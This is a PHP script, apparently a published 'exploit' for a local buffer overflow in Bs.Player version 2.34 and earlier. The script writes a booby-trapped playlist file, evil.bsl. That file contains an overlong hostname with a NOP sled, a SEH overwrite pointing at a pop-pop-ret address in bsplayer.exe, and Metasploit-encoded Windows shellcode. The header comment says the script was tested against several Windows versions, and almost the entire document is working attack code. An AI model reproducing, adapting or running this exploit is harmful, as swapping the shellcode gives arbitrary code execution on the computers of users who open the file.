<?php
/*
Bs.Player <= 2.34 Build 980 (.bsl) local buffer overflow 0day exploit (seh)
by Nine:Situations:Group::pyrokinesis
Overlong hostnames in bsplayer playlist files causes eax and seh handlers to be
overwritten. Cannot reliably debug with olly because of code compression, just
used faultmon/memdump/msfpescan and I choosed the easy/universal way with seh.
There are some pop ret addresses in common among the vulnerable versions...
Well it says local but I consider it a remote one because .bsl files are
associated to the program
Tested and working against:
...
v2.32 Build 975 Free
v2.34 Build 980 PRO
win xp pro sp2 / sp3
win 2k3 sp1
not vulnerable:
v2.35 Build 985 PRO
V2.36 Build 990 Free/Pro
*/
$buffer=
\"\\x23\\x45\\x58\\x54\\x4d\\x33\\x55\\x0d\\x0a\\x23\\x45\\x58\\x54\\x49\\x4e\\x46\".
\"\\x3a\\x30\\x2c\\x41\\x41\\x41\\x41\\x0d\\x0a\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\".
\"\\x52\\x61\\x77\\x2d\\x48\\x69\\x67\\x68\\x2e\";
$nop1=str_repeat(\"\\x90\",384);
$eax_again=\"BBBB\";
$nop2=str_repeat(\"\\x90\",12);
$eax=\"CCCC\";
$nop3=str_repeat(\"\\x90\",8);
$jnk=$nop1.$eax_again.$nop2.$eax.$nop3;
$jmp=\"\\xeb\\x08\\x90\\x90\";
$seh=\"\\xb1\\xad\\x41\\x00\"; //0x0041adb1 pop pop ret bsplayer.exe
$nop4=str_repeat(\"\\x90\",100);
// win32_exec - EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
$scode=
\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49\".
\"\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x37\\x49\\x49\\x51\\x5a\\x6a\\x47\".
\"\\x58\\x50\\x30\\x42\\x31\\x41\\x42\\x6b\\x42\\x41\\x57\\x32\\x42\\x42\\x42\\x32\".
\"\\x41\\x41\\x30\\x41\\x41\\x58\\x38\\x42\\x42\\x50\\x75\\x59\\x79\\x4b\\x4c\\x69\".
\"\\x78\\x37\\x34\\x67\\x70\\x45\\x50\\x75\\x50\\x6c\\x4b\\x61\\x55\\x45\\x6c\\x6e\".
\"\\x6b\\x71\\x6c\\x73\\x35\\x62\\x58\\x66\\x61\\x6a\\x4f\\x4c\\x4b\\x42\\x6f\\x56\".
\"\\x78\\x4c\\x4b\\x71\\x4f\\x77\\x50\\x57\\x71\\x6a\\x4b\\x72\\x69\\x6e\\x6b\\x75\".
\"\\x64\\x4e\\x6b\\x75\\x51\\x68\\x6e\\x30\\x31\\x59\\x50\\x4d\\x49\\x4c\\x6c\\x4f\".
\"\\x74\\x69\\x50\\x31\\x64\\x36\\x67\\x4f\\x31\\x4a\\x6a\\x44\\x4d\\x75\\x51\\x68\".
\"\\x42\\x38\\x6b\\x5a\\x54\\x35\\x6b\\x62\\x74\\x75\\x74\\x37\\x74\\x70\\x75\\x68\".
\"\\x65\\x4c\\x4b\\x51\\x4f\\x35\\x74\\x73\\x31\\x4a\\x4b\\x50\\x66\\x6c\\x4b\\x44\".
\"\\x4c\\x50\\x4b\\x6c\\x4b\\x41\\x4f\\x77\\x6c\\x34\\x41\\x7a\\x4b\\x6c\\x4b\\x67\".
\"\\x6c\\x6e\\x6b\\x37\\x71\\x6a\\x4b\\x4d\\x59\\x33\\x6c\\x71\\x34\\x54\\x44\\x39\".
\"\\x53\\x55\\x61\\x6f\\x30\\x41\\x74\\x6c\\x4b\\x37\\x30\\x70\\x30\\x6e\\x65\\x4b\".
\"\\x70\\x61\\x68\\x66\\x6c\\x6e\\x6b\\x61\\x50\\x36\\x6c\\x6e\\x6b\\x74\\x30\\x65\".
\"\\x4c\\x6e\\x4d\\x6c\\x4b\\x71\\x78\\x64\\x48\\x68\\x6b\\x76\\x69\\x6c\\x4b\\x4f\".
\"\\x70\\x48\\x30\\x75\\x50\\x75\\x50\\x55\\x50\\x4e\\x6b\\x63\\x58\\x67\\x4c\\x31\".
\"\\x4f\\x56\\x51\\x4a\\x56\\x53\\x50\\x41\\x46\\x4f\\x79\\x4b\\x48\\x4b\\x33\\x39\".
\"\\x50\\x61\\x6b\\x32\\x70\\x53\\x58\\x6c\\x30\\x4c\\x4a\\x65\\x54\\x53\\x6f\\x63\".
\"\\x58\\x7a\\x38\\x49\\x6e\\x4e\\x6a\\x54\\x4e\\x70\\x57\\x69\\x6f\\x58\\x67\\x62\".
\"\\x43\\x72\\x41\\x70\\x6c\\x70\\x63\\x43\\x30\\x47\";
$buffer.=$jnk.$jmp.$seh.$nop4.$scode;
$buffer.=
\"x56\\x37\\x2e\\x46\\x4d\\x2f\\x6c\\x69\\x73\\x74\\x65\\x6e\\x2e\\x70\".
\"\\x6c\\x73\\x0d\\x0a\\x00\";
$fp=fopen(\"evil.bsl\",\"w+\");
if (!$fp) {die(\"cannot create evil.bsl!\");}
@fputs($fp,$buffer);
@fclose($fp);
?>
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